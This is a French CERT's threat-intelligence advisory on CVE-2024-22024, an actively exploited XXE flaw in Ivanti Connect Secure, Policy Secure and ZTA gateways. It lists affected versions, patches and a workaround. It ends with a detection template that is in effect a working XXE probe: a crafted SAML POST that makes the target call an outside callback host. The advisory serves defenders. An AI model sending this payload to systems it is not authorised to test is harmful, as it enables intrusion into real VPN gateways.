Newscast

Critical vulnerability in Ivanti

2024-02-16 I **TLP:CLEAR** I CERT aDvens - CTI

Advens - 16 Quai de la Mégisserie - 75001 Paris

Table of content

Ivanti - CVE-2024-22024

EPSS

97.3%

Exploited
Security bypass

8.3

IMPORTANT

POC

YES

On 8 February 2024, Ivanti issued a security advisory concerning a new vulnerability in Ivanti Connect Secure, Ivanti Policy Secure and ZTA gateways.

This vulnerability, discovered by the WatchTowr security team, is due to an XML External Entity (XXE) Injection in Ivanti's SAML component. By sending specially crafted requests, a remote unauthenticated attacker can access restricted resources.

Update from 16 February 2024 : Ivanti has released new patches for Ivanti Connect Secure and Ivanti Policy Secure.

Update from 16 February 2024: This vulnerability is exploited.

Type of vulnerability

- **CWE-611**: Improper Restriction of XML External Entity Reference

Risk

- Security bypass

Severity (base score CVSS 3.1)

Attack vector	Network	Scope	Changed
Attack complexity	Low	Impact on confidentiality	Low
Privileges Required	None	Impact on integrity	Low
User Interaction	None	Impact on availability	Low

Impacted Products

Ivanti Connect Secure:

- Version 9.1R14.4
- Version 9.1R17.2
- Version 9.1R18.3
- Version 22.4R2.2
- Version 22.5R1.1

Ivanti Policy Secure:

- Version 22.5R1.1

ZTA:

- Version 22.6R1.3

Recommendations

- Update from 16 February 2024 : Update Ivanti Connect Secure to version 9.1R15.3, 9.1R16.3, 22.1R6.1, 22.2R4.1, 22.3R1.1, 22.4R1.1 or later.
- Update from 16 February 2024 : Update Ivanti Policy Secure to version 9.1R16.3, 22.4R1.1, 22.6R1.1 or later.
- Update Ivanti Connect Secure to version 9.1R14.5, 9.1R17.3, 9.1R18.4, 22.4R2.3, 22.5R1.2, 22.5R2.3, 22.6R2.2 or later.
- Update Ivanti Policy Secure to version 9.1R17.3, 9.1R18.4, 22.5R1.2 or later.
- Update ZTA gateways to version 22.5R1.6, 22.6R1.5, 22.6R1.7 or later.
- Ivanti specifies that users who applied the on 31 January or 1 February patch and who reset their devices do not need to reset them again. Otherwise, the publisher recommends resetting them.
- If the patch cannot be deployed, it is necessary to implement the workaround by importing the *mitigation.release.20240107.1.xml* file via their download portal. The associated procedure is available in their KB article.
- Additional information is available in Ivanti's and WatchTowr's security advisory.

Proof of concept

A proof of concept is available in open source.

Detection rules

WatchTowr have provided the following rule to help detect exploitation of the vulnerability.

```
id: ivanti-xxe-cve-2024-22024
info:
  name: Ivanti Connect Secure XXE (CVE-2024-22024)
  author: watchTowr
  severity: high
  tags: xxe,ivanti,watchtowr,cve-2024-22024
http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 236
        SAMLRequest={{base64(concat('<?xml version=\\"1.0\\" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM
\\"http://',rand_text_alpha(10, "abcdef"),'.','{{interactsh-url}}','/x\\"> %watchTowr;]><r></r>'))}}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
```

Sources

- https://www.cve.org/CVERecord?id=CVE-2024-22024
- https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways-282024
- https://forums.ivanti.com/s/article/CVE-2024-22024-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
- https://labs.watchtowr.com/are-we-now-part-of-ivanti/